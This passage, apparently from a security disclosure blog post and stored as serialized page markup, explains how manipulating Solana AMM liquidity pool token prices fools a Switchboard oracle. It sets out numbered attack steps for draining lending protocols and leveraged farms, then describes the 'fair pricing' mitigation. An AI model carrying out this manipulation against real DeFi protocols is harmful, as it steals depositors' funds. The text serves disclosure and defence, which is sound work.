"children":168980},{},[168981],{"type":32,"value":168982},"The value of the LP token is now",{"type":26,"tag":207,"props":168984,"children":168985},{},[168986],{"type":26,"tag":83,"props":168987,"children":168989},{"className":168988},[213,214],[168990],{"type":26,"tag":217,"props":168991,"children":168993},{"className":168992},[220],[168994],{"type":26,"tag":217,"props":168995,"children":168997},{"className":168996},[225],[168998],{"type":26,"tag":217,"props":168999,"children":169001},{"className":169000,"ariaHidden":231},[230],[169002,169037,169072,169107,169143],{"type":26,"tag":217,"props":169003,"children":169005},{"className":169004},[236],[169006,169010,169015,169024,169028,169033],{"type":26,"tag":217,"props":169007,"children":169009},{"className":169008,"style":50030},[241],[],{"type":26,"tag":217,"props":169011,"children":169013},{"className":169012},[247],[169014],{"type":32,"value":168510},{"type":26,"tag":217,"props":169016,"children":169018},{"className":169017},[247,32],[169019],{"type":26,"tag":217,"props":169020,"children":169022},{"className":169021},[247],[169023],{"type":32,"value":168113},{"type":26,"tag":217,"props":169025,"children":169027},{"className":169026,"style":336},[258],[],{"type":26,"tag":217,"props":169029,"children":169031},{"className":169030},[341],[169032],{"type":32,"value":3540},{"type":26,"tag":217,"props":169034,"children":169036},{"className":169035,"style":336},[258],[],{"type":26,"tag":217,"props":169038,"children":169040},{"className":169039},[236],[169041,169045,169050,169059,169063,169068],{"type":26,"tag":217,"props":169042,"children":169044},{"className":169043,"style":4800},[241],[],{"type":26,"tag":217,"props":169046,"children":169048},{"className":169047},[247],[169049],{"type":32,"value":168968},{"type":26,"tag":217,"props":169051,"children":169053},{"className":169052},[247,32],[169054],{"type":26,"tag":217,"props":169055,"children":169057},{"className":169056},[247],[169058],{"type":32,"value":168267},{"type":26,"tag":217,"props":169060,"children":169062},{"className":169061,"style":259},[258],[],{"type":26,"tag":217,"props":169064,"children":169066},{"className":169065},[264],[169067],{"type":32,"value":267},{"type":26,"tag":217,"props":169069,"children":169071},{"className":169070,"style":259},[258],[],{"type":26,"tag":217,"props":169073,"children":169075},{"className":169074},[236],[169076,169080,169089,169094,169098,169103],{"type":26,"tag":217,"props":169077,"children":169079},{"className":169078,"style":168424},[241],[],{"type":26,"tag":217,"props":169081,"children":169083},{"className":169082},[247,32],[169084],{"type":26,"tag":217,"props":169085,"children":169087},{"className":169086},[247],[169088],{"type":32,"value":118045},{"type":26,"tag":217,"props":169090,"children":169092},{"className":169091},[247],[169093],{"type":32,"value":168510},{"type":26,"tag":217,"props":169095,"children":169097},{"className":169096,"style":336},[258],[],{"type":26,"tag":217,"props":169099,"children":169101},{"className":169100},[341],[169102],{"type":32,"value":3540},{"type":26,"tag":217,"props":169104,"children":169106},{"className":169105,"style":336},[258],[],{"type":26,"tag":217,"props":169108,"children":169110},{"className":169109},[236],[169111,169115,169124,169130,169134,169139],{"type":26,"tag":217,"props":169112,"children":169114},{"className":169113,"style":163842},[241],[],{"type":26,"tag":217,"props":169116,"children":169118},{"className":169117},[247,32],[169119],{"type":26,"tag":217,"props":169120,"children":169122},{"className":169121},[247],[169123],{"type":32,"value":118045},{"type":26,"tag":217,"props":169125,"children":169127},{"className":169126},[247],[169128],{"type":32,"value":169129},"75",{"type":26,"tag":217,"props":169131,"children":169133},{"className":169132,"style":259},[258],[],{"type":26,"tag":217,"props":169135,"children":169137},{"className":169136},[264],[169138],{"type":32,"value":267},{"type":26,"tag":217,"props":169140,"children":169142},{"className":169141,"style":259},[258],[],{"type":26,"tag":217,"props":169144,"children":169146},{"className":169145},[236],[169147,169151,169160],{"type":26,"tag":217,"props":169148,"children":169150},{"className":169149,"style":163842},[241],[],{"type":26,"tag":217,"props":169152,"children":169154},{"className":169153},[247,32],[169155],{"type":26,"tag":217,"props":169156,"children":169158},{"className":169157},[247],[169159],{"type":32,"value":118045},{"type":26,"tag":217,"props":169161,"children":169163},{"className":169162},[247],[169164],{"type":32,"value":169165},"375",{"type":26,"tag":39,"props":169167,"children":169168},{},[169169],{"type":32,"value":169170},"Anyone who owns an LP token for this pool has effectively gained $75! (assuming the value of USDC and SOL haven't changed)",{"type":26,"tag":39,"props":169172,"children":169173},{},[169174],{"type":26,"tag":9348,"props":169175,"children":169176},{},[169177],{"type":32,"value":169178},"Constant product doesn't mean constant value",{"type":26,"tag":39,"props":169180,"children":169181},{},[169182],{"type":32,"value":169183},"As an aside, liquidity pool tokens are also an interesting example of how DeFi focuses on maximizing yields. Many lending protocols allow users to deposit LP tokens as collateral, and gain liquidity mining rewards along with interest on top of the normal liquidity pool yields. However, the extra complexity added by using liquidity pool tokens can easily lead to security problems.",{"type":26,"tag":607,"props":169185,"children":169187},{"id":169186},"oracles",[169188],{"type":32,"value":169189},"Oracles",{"type":26,"tag":39,"props":169191,"children":169192},{},[169193],{"type":32,"value":169194},"On Solana many platforms (leveraged farming, lending, perps, etc) rely on oracles to determine the true value of an asset. When oracles misreport prices this can result in stolen funds or insolvency of their respective protocols.",{"type":26,"tag":39,"props":169196,"children":169197},{},[169198],{"type":32,"value":169199},"Most oracle values are compiled from a variety of onchain and offchain sources. However, liquidity pool tokens by nature have a single point of failure: calculating how many backing tokens an LP token can be redeemed for, which is based off the token balance of the relevant liquidity pool.",{"type":26,"tag":39,"props":169201,"children":169202},{},[169203,169205,169212],{"type":32,"value":169204},"One such oracle is Switchboard, which is used by many popular lending protocols. Internally, switchboard ",{"type":26,"tag":163,"props":169206,"children":169209},{"href":169207,"rel":169208},"https://switchboard.xyz/explorer/1/9r2p6vyF8Wp5YB2DASK95yuXEakQth6wmUmV2DpH91WX",[167],[169210],{"type":32,"value":169211},"sends a GET request",{"type":32,"value":169213}," to the respective swap protocol's API every minute, and directly pushes that price onchain.",{"type":26,"tag":39,"props":169215,"children":169216},{},[169217],{"type":32,"value":169218},"For example, the switchboard task configuration for the price of stSOL on Raydium:",{"type":26,"tag":207,"props":169220,"children":169222},{"className":15849,"code":169221,"language":15848,"meta":8,"style":8},"{\n  \"tasks\": [\n    {\n      \"httpTask\": {\n        \"url\": \"https://api.raydium.io/pairs\"\n      }\n    },\n    {\n      \"jsonParseTask\": {\n        \"path\": \"$[?(@.name == 'stSOL-USDC')].price\"\n      }\n    }\n  ]\n}\n",[169223],{"type":26,"tag":83,"props":169224,"children":169225},{"__ignoreMap":8},[169226,169233,169245,169252,169264,169281,169288,169295,169302,169314,169331,169338,169345,169353],{"type":26,"tag":217,"props":169227,"children":169228},{"class":7028,"line":7029},[169229],{"type":26,"tag":217,"props":169230,"children":169231},{"style":7048},[169232],{"type":32,"value":10033},{"type":26,"tag":217,"props":169234,"children":169235},{"class":7028,"line":6770},[169236,169241],{"type":26,"tag":217,"props":169237,"children":169238},{"style":7054},[169239],{"type":32,"value":169240},"  \"tasks\"",{"type":26,"tag":217,"props":169242,"children":169243},{"style":7048},[169244],{"type":32,"value":15975},{"type":26,"tag":217,"props":169246,"children":169247},{"class":7028,"line":6779},[169248],{"type":26,"tag":217,"props":169249,"children":169250},{"style":7048},[169251],{"type":32,"value":37334},{"type":26,"tag":217,"props":169253,"children":169254},{"class":7028,"line":7140},[169255,169260],{"type":26,"tag":217,"props":169256,"children":169257},{"style":7054},[169258],{"type":32,"value":169259},"      \"httpTask\"",{"type":26,"tag":217,"props":169261,"children":169262},{"style":7048},[169263],{"type":32,"value":15894},{"type":26,"tag":217,"props":169265,"children":169266},{"class":7028,"line":7165},[169267,169272,169276],{"type":26,"tag":217,"props":169268,"children":169269},{"style":7054},[169270],{"type":32,"value":169271},"        \"url\"",{"type":26,"tag":217,"props":169273,"children":169274},{"style":7048},[169275],{"type":32,"value":14785},{"type":26,"tag":217,"props":169277,"children":169278},{"style":7338},[169279],{"type":32,"value":169280},"\"https://api.raydium.io/pairs\"\n",{"type":26,"tag":217,"props":169282,"children":169283},{"class":7028,"line":7178},[169284],{"type":26,"tag":217,"props":169285,"children":169286},{"style":7048},[169287],{"type":32,"value":9210},{"type":26,"tag":217,"props":169289,"children":169290},{"class":7028,"line":7389},[169291],{"type":26,"tag":217,"props":169292,"children":169293},{"style":7048},[169294],{"type":32,"value":68742},{"type":26,"tag":217,"props":169296,"children":169297},{"class":7028,"line":7406},[169298],{"type":26,"tag":217,"props":169299,"children":169300},{"style":7048},[169301],{"type":32,"value":37334},{"type":26,"tag":217,"props":169303,"children":169304},{"class":7028,"line":7439},[169305,169310],{"type":26,"tag":217,"props":169306,"children":169307},{"style":7054},[169308],{"type":32,"value":169309},"      \"jsonParseTask\"",{"type":26,"tag":217,"props":169311,"children":169312},{"style":7048},[169313],{"type":32,"value":15894},{"type":26,"tag":217,"props":169315,"children":169316},{"class":7028,"line":7487},[169317,169322,169326],{"type":26,"tag":217,"props":169318,"children":169319},{"style":7054},[169320],{"type":32,"value":169321},"        \"path\"",{"type":26,"tag":217,"props":169323,"children":169324},{"style":7048},[169325],{"type":32,"value":14785},{"type":26,"tag":217,"props":169327,"children":169328},{"style":7338},[169329],{"type":32,"value":169330},"\"$[?(@.name == 'stSOL-USDC')].price\"\n",{"type":26,"tag":217,"props":169332,"children":169333},{"class":7028,"line":7524},[169334],{"type":26,"tag":217,"props":169335,"children":169336},{"style":7048},[169337],{"type":32,"value":9210},{"type":26,"tag":217,"props":169339,"children":169340},{"class":7028,"line":7553},[169341],{"type":26,"tag":217,"props":169342,"children":169343},{"style":7048},[169344],{"type":32,"value":9754},{"type":26,"tag":217,"props":169346,"children":169347},{"class":7028,"line":7570},[169348],{"type":26,"tag":217,"props":169349,"children":169350},{"style":7048},[169351],{"type":32,"value":169352},"  ]\n",{"type":26,"tag":217,"props":169354,"children":169355},{"class":7028,"line":7621},[169356],{"type":26,"tag":217,"props":169357,"children":169358},{"style":7048},[169359],{"type":32,"value":7184},{"type":26,"tag":39,"props":169361,"children":169362},{},[169363,169365,169370],{"type":32,"value":169364},"The Raydium API calculates liquidity pool token values by pulling token balances from the respective AMM onchain. In other words, Switchboard's oracle was ",{"type":26,"tag":65,"props":169366,"children":169367},{},[169368],{"type":32,"value":169369},"directly reflecting the onchain state",{"type":32,"value":180},{"type":26,"tag":27,"props":169372,"children":169373},{"id":24853},[169374],{"type":32,"value":24856},{"type":26,"tag":39,"props":169376,"children":169377},{},[169378],{"type":32,"value":169379},"Putting this all together, we start to see something suspicious. Pricing of liquidity pool tokens rely directly on onchain state, which can be easily manipulated.",{"type":26,"tag":39,"props":169381,"children":169382},{},[169383],{"type":32,"value":169384},"Recall previously that by swapping a large amount into a given AMM, we are able to change the global price for that AMM's liquidity pool token.",{"type":26,"tag":39,"props":169386,"children":169387},{},[169388],{"type":32,"value":169389},"This transaction can be executed right before an oracle update. Alternatively, an attacker could lock the AMM by spamming transactions to effectively deny usage of the AMM to prevent arbitrage until the oracle updates.",{"type":26,"tag":39,"props":169391,"children":169392},{},[169393],{"type":32,"value":169394},"With our previous example, we manipulated the price of a liquidity pool token from $300 to $375. As a more extreme example, consider the transaction of 998500 USDC. After such a swap, the AMM will have 1 million USDC and 0.015 SOL. The oracle would report a value of over $100,000 per token.",{"type":26,"tag":207,"props":169396,"children":169397},{},[169398],{"type":26,"tag":83,"props":169399,"children":169401},{"className":169400},[213,214],[169402],{"type":26,"tag":217,"props":169403,"children":169405},{"className":169404},[220],[169406],{"type":26,"tag":217,"props":169407,"children":169409},{"className":169408},[225],[169410],{"type":26,"tag":217,"props":169411,"children":169413},{"className":169412,"ariaHidden":231},[230],[169414,169450,169486],{"type":26,"tag":217,"props":169415,"children":169417},{"className":169416},[236],[169418,169422,169428,169437,169441,169446],{"type":26,"tag":217,"props":169419,"children":169421},{"className":169420,"style":50030},[241],[],{"type":26,"tag":217,"props":169423,"children":169425},{"className":169424},[247],[169426],{"type":32,"value":169427},"1000000",{"type":26,"tag":217,"props":169429,"children":169431},{"className":169430},[247,32],[169432],{"type":26,"tag":217,"props":169433,"children":169435},{"className":169434},[247],[169436],{"type":32,"value":168113},{"type":26,"tag":217,"props":169438,"children":169440},{"className":169439,"style":336},[258],[],{"type":26,"tag":217,"props":169442,"children":169444},{"className":169443},[341],[169445],{"type":32,"value":3540},{"type":26,"tag":217,"props":169447,"children":169449},{"className":169448,"style":336},[258],[],{"type":26,"tag":217,"props":169451,"children":169453},{"className":169452},[236],[169454,169458,169464,169473,169477,169482],{"type":26,"tag":217,"props":169455,"children":169457},{"className":169456,"style":4800},[241],[],{"type":26,"tag":217,"props":169459,"children":169461},{"className":169460},[247],[169462],{"type":32,"value":169463},"0.015",{"type":26,"tag":217,"props":169465,"children":169467},{"className":169466},[247,32],[169468],{"type":26,"tag":217,"props":169469,"children":169471},{"className":169470},[247],[169472],{"type":32,"value":168267},{"type":26,"tag":217,"props":169474,"children":169476},{"className":169475,"style":259},[258],[],{"type":26,"tag":217,"props":169478,"children":169480},{"className":169479},[264],[169481],{"type":32,"value":267},{"type":26,"tag":217,"props":169483,"children":169485},{"className":169484,"style":259},[258],[],{"type":26,"tag":217,"props":169487,"children":169489},{"className":169488},[236],[169490,169494,169503],{"type":26,"tag":217,"props":169491,"children":169493},{"className":169492,"style":163842},[241],[],{"type":26,"tag":217,"props":169495,"children":169497},{"className":169496},[247,32],[169498],{"type":26,"tag":217,"props":169499,"children":169501},{"className":169500},[247],[169502],{"type":32,"value":118045},{"type":26,"tag":217,"props":169504,"children":169506},{"className":169505},[247],[169507],{"type":32,"value":169508},"100000.225",{"type":26,"tag":39,"props":169510,"children":169511},{},[169512],{"type":32,"value":169513},"Now let's explore how this manipulation can be used to steal funds.",{"type":26,"tag":607,"props":169515,"children":169517},{"id":169516},"lending",[169518],{"type":32,"value":169519},"Lending",{"type":26,"tag":39,"props":169521,"children":169522},{},[169523],{"type":32,"value":169524},"Lending is the simplest to exploit. By holding and manipulating the liquidity pool token price, we are able to directly affect the value of our underlying collateral. We are then able to overborrow against this collateral, stealing money from the lending protocol.",{"type":26,"tag":39,"props":169526,"children":169527},{},[169528],{"type":32,"value":169529},"More specifically, consider the following process.",{"type":26,"tag":6712,"props":169531,"children":169532},{},[169533,169538,169543,169548,169553,169558],{"type":26,"tag":2044,"props":169534,"children":169535},{},[169536],{"type":32,"value":169537},"Manipulate price by swapping a large amount in the AMM",{"type":26,"tag":2044,"props":169539,"children":169540},{},[169541],{"type":32,"value":169542},"Oracle updates, liquidity pool token is now overvalued",{"type":26,"tag":2044,"props":169544,"children":169545},{},[169546],{"type":32,"value":169547},"Sell/buy back all the tokens to move AMM price to a sane value",{"type":26,"tag":2044,"props":169549,"children":169550},{},[169551],{"type":32,"value":169552},"Mint liquidity pool tokens -> Deposit as collateral -> Borrow against that overvalued collateral",{"type":26,"tag":2044,"props":169554,"children":169555},{},[169556],{"type":32,"value":169557},"Oracle gets updated",{"type":26,"tag":2044,"props":169559,"children":169560},{},[169561],{"type":32,"value":169562},"Get liquidated by the lending protocol, but keep the borrowed assets",{"type":26,"tag":39,"props":169564,"children":169565},{},[169566],{"type":32,"value":169567},"As a more concrete example, consider if an attacker spoofed the LP token price to $100,000,000, which was then uploaded to the oracle feed. After the oracle update, the attacker could move the LP token price back to a sane value such as $100. They would then be able to mint LP tokens for $100 each.",{"type":26,"tag":39,"props":169569,"children":169570},{},[169571],{"type":32,"value":169572},"Because the oracle prices are cached, the lending protocol mistakenly believes each LP token is worth $100,000,000. If the attacker deposited 1 LP token, they could then borrow against $100,000,000 of collateral, even though the real value of their deposits is only $100. For example, if the LTV of the lending protocol is 75%, they would be able to borrow $75,000,000 worth of tokens.",{"type":26,"tag":39,"props":169574,"children":169575},{},[169576],{"type":32,"value":169577},"After the price updates they'll get liquidated, but keep the borrowed $75,000,000 of tokens. This gives a net profit of $74,999,900 minus any costs of the manipulation (for example swap fees).",{"type":26,"tag":607,"props":169579,"children":169581},{"id":169580},"leveraged-farming",[169582],{"type":32,"value":169583},"Leveraged Farming",{"type":26,"tag":39,"props":169585,"children":169586},{},[169587],{"type":32,"value":169588},"Since you can’t directly deposit liquidity pool tokens for leveraged farming, you must open a leveraged position, manipulate price, up your leverage (which increases liquidity that can be arbitraged because it's at a bad price), sell off outside the farm and set price back to normal.",{"type":26,"tag":39,"props":169590,"children":169591},{},[169592],{"type":32,"value":169593},"The steps are as follows.",{"type":26,"tag":6712,"props":169595,"children":169596},{},[169597,169601,169605,169610,169615,169619],{"type":26,"tag":2044,"props":169598,"children":169599},{},[169600],{"type":32,"value":169537},{"type":26,"tag":2044,"props":169602,"children":169603},{},[169604],{"type":32,"value":169542},{"type":26,"tag":2044,"props":169606,"children":169607},{},[169608],{"type":32,"value":169609},"Leverage higher valued collateral liquidity pool tokens to mint more liquidity pool tokens",{"type":26,"tag":2044,"props":169611,"children":169612},{},[169613],{"type":32,"value":169614},"This increases the liquidity in the pool - perform \"arbitrage\" on the unbalanced liquidity pool",{"type":26,"tag":2044,"props":169616,"children":169617},{},[169618],{"type":32,"value":169557},{"type":26,"tag":2044,"props":169620,"children":169621},{},[169622],{"type":32,"value":169623},"Get liquidated, but keep profits from the \"arbitrage\"",{"type":26,"tag":39,"props":169625,"children":169626},{},[169627],{"type":32,"value":169628},"As a more concrete example, an attacker could open an LP position worth $100. They would then manipulate price so that their leveraged position is now worth $100,000,000.",{"type":26,"tag":39,"props":169630,"children":169631},{},[169632],{"type":32,"value":169633},"After borrowing $50,000,000 to lever up further and deposit more liquidity into the LP, they could sell at inflated exchange rate outside draining the $50,000,000 borrowed and any initial capital used to manipulate.",{"type":26,"tag":27,"props":169635,"children":169636},{"id":8787},[169637],{"type":32,"value":8790},{"type":26,"tag":39,"props":169639,"children":169640},{},[169641,169643,169650],{"type":32,"value":169642},"This exploit is similar to some vulnerabilities which have happened on Ethereum involving flash loans and on chain oracles. To mitigate the issue Alpha Finance introduced the concept of ",{"type":26,"tag":163,"props":169644,"children":169647},{"href":169645,"rel":169646},"https://blog.alphafinance.io/fair-lp-token-pricing/",[167],[169648],{"type":32,"value":169649},"\"fair pricing\"",{"type":32,"value":169651}," for constant product LP tokens.",{"type":26,"tag":39,"props":169653,"children":169654},{},[169655],{"type":32,"value":169656},"The concept is relatively simple. Instead of relying on the ratio of the tokens in the liquidity pool, compute what the ratio \"should be\" based on the relative price of the assets as determined by a trusted offchain oracle. This avoids using onchain data for pricing, which is susceptible to manipulation.",{"type":26,"tag":39,"props":169658,"children":169659},{},[169660],{"type":32,"value":169661},"An abridged computation can be found below. For more details, we recommend reading the Alpha Finance article.",{"type":26,"tag":207,"props":169663,"children":169664},{},[169665],{"type":26,"tag":83,"props":169666,"children":169668},{"className":169667},[213,214],[169669],{"type":26,"tag":217,"props":169670,"children":169672},{"className":169671},[220],[169673],{"type":26,"tag":217,"props":169674,"children":169676},{"className":169675},[225],[169677],{"type":26,"tag":217,"props":169678,"children":169680},{"className":169679,"ariaHidden":231},[230],[169681,169712,170102,170106,170124,171108,171112,171129,171595],{"type":26,"tag":217,"props":169682,"children":169684},{"className":169683},[236],[169685,169689,169699,169703,169708],{"type":26,"tag":217,"props":169686,"children":169688},{"className":169687,"style":1520},[241],[],{"type":26,"tag":217,"props":169690,"children":169692},{"className":169691},[247,32],[169693],{"type":26,"tag":217,"props":169694,"children":169696},{"className":169695},[247],[169697],{"type":32,"value":169698},"fair LP price",{"type":26,"tag":217,"props":169700,"children":169702},{"className":169701,"style":259},[258],[],{"type":26,"tag":217,"props":169704,"children":169706},{"className":169705},[264],[169707],{"type":32,"value":267},{"type":26,"tag":217,"props":169709,"children":169711},{"className":169710,"style":259},[258],[],{"type":26,"tag":217,"props":169713,"children":169715},{"className":169714},[236],[169716,169721],{"type":26,"tag":217,"props":169717,"children":169720},{"className":169718,"style":169719},[241],"height:2.3246em;vertical-align:-0.8804em;",[],{"type":26,"tag":217,"props":169722,"children":169724},{"className":169723},[247],[169725,169729,170098],{"type":26,"tag":217,"props":169726,"children":169728},{"className":169727},[288,289],[],{"type":26,"tag":217,"props":169730,"children":169732},{"className":169731},[294],[169733],{"type":26,"tag":217,"props":169734,"children":169736},{"className":169735},[299,300],[169737,170087],{"type":26,"tag":217,"props":169738,"children":169740},{"className":169739},[305],[169741,170082],{"type":26,"tag":217,"props":169742,"children":169745},{"className":169743,"style":169744},[310],"height:1.4441em;",[169746,169767,169778],{"type":26,"tag":217,"props":169747,"children":169748},{"style":315},[169749,169753],{"type":26,"tag":217,"props":169750,"children":169752},{"className":169751,"style":321},[320],[],{"type":26,"tag":217,"props":169754,"children":169756},{"className":169755},[247],[169757],{"type":26,"tag":217,"props":169758,"children":169760},{"className":169759},[247,32],[169761],{"type":26,"tag":217,"props":169762,"children":169764},{"className":169763},[247],[169765],{"type":32,"value":169766},"qty",{"type":26,"tag":217,"props":169768,"children":169769},{"style":361},[169770,169774],{"type":26,"tag":217,"props":169771,"children":169773},{"className":169772,"style":321},[320],[],{"type":26,"tag":217,"props":169775,"children":169777},{"className":169776,"style":371},[370],[],{"type":26,"tag":217,"props":169779,"children":169781},{"style":169780},"top:-3.7497em;",[169782,169786],{"type":26,"tag":217,"props":169783,"children":169785},{"className":169784,"style":321},[320],[],{"type":26,"tag":217,"props":169787,"children":169789},{"className":169788},[247],[169790,169854,169858,169863,169867,169932,169936,169941,169945,170007,170011,170016,170020],{"type":26,"tag":217,"props":169791,"children":169793},{"className":169792},[247],[169794,169803],{"type":26,"tag":217,"props":169795,"children":169797},{"className":169796},[247,32],[169798],{"type":26,"tag":217,"props":169799,"children":169801},{"className":169800},[247],[169802],{"type":32,"value":39},{"type":26,"tag":217,"props":169804,"children":169806},{"className":169805},[2160],[169807],{"type":26,"tag":217,"props":169808,"children":169810},{"className":169809},[299,300],[169811,169842],{"type":26,"tag":217,"props":169812,"children":169814},{"className":169813},[305],[169815,169837],{"type":26,"tag":217,"props":169816,"children":169819},{"className":169817,"style":169818},[310],"height:0.242em;",[169820],{"type":26,"tag":217,"props":169821,"children":169823},{"style":169822},"top:-2.4559em;margin-right:0.05em;",[169824,169828],{"type":26,"tag":217,"props":169825,"children":169827},{"className":169826,"style":2182},[320],[],{"type":26,"tag":217,"props":169829,"children":169831},{"className":169830},[2187,2188,2189,2190],[169832],{"type":26,"tag":217,"props":169833,"children":169835},{"className":169834},[247,2152,2190],[169836],{"type":32,"value":14783},{"type":26,"tag":217,"props":169838,"children":169840},{"className":169839},[409],[169841],{"type":32,"value":412},{"type":26,"tag":217,"props":169843,"children":169845},{"className":169844},[305],[169846],{"type":26,"tag":217,"props":169847,"children":169850},{"className":169848,"style":169849},[310],"height:0.2441em;",[169851],{"type":26,"tag":217,"props":169852,"children":169853},{},[],{"type":26,"tag":217,"props":169855,"children":169857},{"className":169856,"style":336},[258],[],{"type":26,"tag":217,"props":169859,"children":169861},{"className":169860},[341],[169862],{"type":32,"value":70552},{"type":26,"tag":217,"props":169864,"children":169866},{"className":169865,"style":336},[258],[],{"type":26,"tag":217,"props":169868,"children":169870},{"className":169869},[247],[169871,169881],{"type":26,"tag":217,"props":169872,"children":169874},{"className":169873},[247,32],[169875],{"type":26,"tag":217,"props":169876,"children":169878},{"className":169877},[247],[169879],{"type":32,"value":169880},"expected_qty",{"type":26,"tag":217,"props":169882,"children":169884},{"className":169883},[2160],[169885],{"type":26,"tag":217,"props":169886,"children":169888},{"className":169887},[299,300],[169889,169920],{"type":26,"tag":217,"props":169890,"children":169892},{"className":169891},[305],[169893,169915],{"type":26,"tag":217,"props":169894,"children":169897},{"className":169895,"style":169896},[310],"height:0.1264em;",[169898],{"type":26,"tag":217,"props":169899,"children":169901},{"style":169900},"top:-2.3403em;margin-right:0.05em;",[169902,169906],{"type":26,"tag":217,"props":169903,"children":169905},{"className":169904,"style":2182},[320],[],{"type":26,"tag":217,"props":169907,"children":169909},{"className":169908},[2187,2188,2189,2190],[169910],{"type":26,"tag":217,"props":169911,"children":169913},{"className":169912},[247,2152,2190],[169914],{"type":32,"value":14783},{"type":26,"tag":217,"props":169916,"children":169918},{"className":169917},[409],[169919],{"type":32,"value":412},{"type":26,"tag":217,"props":169921,"children":169923},{"className":169922},[305],[169924],{"type":26,"tag":217,"props":169925,"children":169928},{"className":169926,"style":169927},[310],"height:0.3597em;",[169929],{"type":26,"tag":217,"props":169930,"children":169931},{},[],{"type":26,"tag":217,"props":169933,"children":169935},{"className":169934,"style":336},[258],[],{"type":26,"tag":217,"props":169937,"children":169939},{"className":169938},[341],[169940],{"type":32,"value":3540},{"type":26,"tag":217,"props":169942,"children":169944},{"className":169943,"style":336},[258],[],{"type":26,"tag":217,"props":169946,"children":169948},{"className":169947},[247],[169949,169958],{"type":26,"tag":217,"props":169950,"children":169952},{"className":169951},[247,32],[169953],{"type":26,"tag":217,"props":169954,"children":169956},{"className":169955},[247],[169957],{"type":32,"value":39},{"type":26,"tag":217,"props":169959,"children":169961},{"className":169960},[2160],[169962],{"type":26,"tag":217,"props":169963,"children":169965},{"className":169964},[299,300],[169966,169996],{"type":26,"tag":217,"props":169967,"children":169969},{"className":169968},[305],[169970,169991],{"type":26,"tag":217,"props":169971,"children":169974},{"className":169972,"style":169973},[310],"height:0.0573em;",[169975],{"type":26,"tag":217,"props":169976,"children":169977},{"style":169822},[169978,169982],{"type":26,"tag":217,"props":169979,"children":169981},{"className":169980,"style":2182},[320],[],{"type":26,"tag":217,"props":169983,"children":169985},{"className":169984},[2187,2188,2189,2190],[169986],{"type":26,"tag":217,"props":169987,"children":169989},{"className":169988},[247,2152,2190],[169990],{"type":32,"value":163},{"type":26,"tag":217,"props":169992,"children":169994},{"className":169993},[409],[169995],{"type":32,"value":412},{"type":26,"tag":217,"props":169997,"children":169999},{"className":169998},[305],[170000],{"type":26,"tag":217,"props":170001,"children":170003},{"className":170002,"style":169849},[310],[170004],{"type":26,"tag":217,"props":170005,"children":170006},{},[],{"type":26,"tag":217,"props":170008,"children":170010},{"className":170009,"style":336},[258],[],{"type":26,"tag":217,"props":170012,"children":170014},{"className":170013},[341],[170015],{"type":32,"value":70552},{"type":26,"tag":217,"props":170017,"children":170019},{"className":170018,"style":336},[258],[],{"type":26,"tag":217,"props":170021,"children":170023},{"className":170022},[247],[170024,170033],{"type":26,"tag":217,"props":170025,"children":170027},{"className":170026},[247,32],[170028],{"type":26,"tag":217,"props":170029,"children":170031},{"className":170030},[247],[170032],{"type":32,"value":169880},{"type":26,"tag":217,"props":170034,"children":170036},{"className":170035},[2160],[170037],{"type":26,"tag":217,"props":170038,"children":170040},{"className":170039},[299,300],[170041,170071],{"type":26,"tag":217,"props":170042,"children":170044},{"className":170043},[305],[170045,170066],{"type":26,"tag":217,"props":170046,"children":170049},{"className":170047,"style":170048},[310],"height:-0.0583em;",[170050],{"type":26,"tag":217,"props":170051,"children":170052},{"style":169900},[170053,170057],{"type":26,"tag":217,"props":170054,"children":170056},{"className":170055,"style":2182},[320],[],{"type":26,"tag":217,"props":170058,"children":170060},{"className":170059},[2187,2188,2189,2190],[170061],{"type":26,"tag":217,"props":170062,"children":170064},{"className":170063},[247,2152,2190],[170065],{"type":32,"value":163},{"type":26,"tag":217,"props":170067,"children":170069},{"className":170068},[409],[170070],{"type":32,"value":412},{"type":26,"tag":217,"props":170072,"children":170074},{"className":170073},[305],[170075],{"type":26,"tag":217,"props":170076,"children":170078},{"className":170077,"style":169927},[310],[170079],{"type":26,"tag":217,"props":170080,"children":170081},{},[],{"type":26,"tag":217,"props":170083,"children":170085},{"className":170084},[409],[170086],{"type":32,"value":412},{"type":26,"tag":217,"props":170088,"children":170090},{"className":170089},[305],[170091],{"type":26,"tag":217,"props":170092,"children":170094},{"className":170093,"style":420},[310],[170095],{"type":26,"tag":217,"props":170096,"children":170097},{},[],{"type":26,"tag":217,"props":170099,"children":170101},{"className":170100},[428,289],[],{"type":26,"tag":217,"props":170103,"children":170105},{"className":170104},[258,168173],[],{"type":26,"tag":217,"props":170107,"children":170109},{"className":170108},[236],[170110,170115,170120],{"type":26,"tag":217,"props":170111,"children":170114},{"className":170112,"style":170113},[241],"height:0.3669em;",[],{"type":26,"tag":217,"props":170116,"children":170118},{"className":170117},[264],[170119],{"type":32,"value":267},{"type":26,"tag":217,"props":170121,"children":170123},{"className":170122,"style":259},[258],[],{"type":26,"tag":217,"props":170125,"children":170127},{"className":170126},[236],[170128,170133],{"type":26,"tag":217,"props":170129,"children":170132},{"className":170130,"style":170131},[241],"height:2.5104em;vertical-align:-0.8804em;",[],{"type":26,"tag":217,"props":170134,"children":170136},{"className":170135},[247],[170137,170141,171104],{"type":26,"tag":217,"props":170138,"children":170140},{"className":170139},[288,289],[],{"type":26,"tag":217,"props":170142,"children":170144},{"className":170143},[294],[170145],{"type":26,"tag":217,"props":170146,"children":170148},{"className":170147},[299,300],[170149,171093],{"type":26,"tag":217,"props":170150,"children":170152},{"className":170151},[305],[170153,171088],{"type":26,"tag":217,"props":170154,"children":170157},{"className":170155,"style":170156},[310],"height:1.63em;",[170158,170178,170189],{"type":26,"tag":217,"props":170159,"children":170160},{"style":315},[170161,170165],{"type":26,"tag":217,"props":170162,"children":170164},{"className":170163,"style":321},[320],[],{"type":26,"tag":217,"props":170166,"children":170168},{"className":170167},[247],[170169],{"type":26,"tag":217,"props":170170,"children":170172},{"className":170171},[247,32],[170173],{"type":26,"tag":217,"props":170174,"children":170176},{"className":170175},[247],[170177],{"type":32,"value":169766},{"type":26,"tag":217,"props":170179,"children":170180},{"style":361},[170181,170185],{"type":26,"tag":217,"props":170182,"children":170184},{"className":170183,"style":321},[320],[],{"type":26,"tag":217,"props":170186,"children":170188},{"className":170187,"style":371},[370],[],{"type":26,"tag":217,"props":170190,"children":170192},{"style":170191},"top:-3.695em;",[170193,170197],{"type":26,"tag":217,"props":170194,"children":170196},{"className":170195,"style":321},[320],[],{"type":26,"tag":217,"props":170198,"children":170200},{"className":170199},[247],[170201,170262,170266,170271,170275,170640,170645,170649,170654,170658,170719,170723,170728,170732],{"type":26,"tag":217,"props":170202,"children":170204},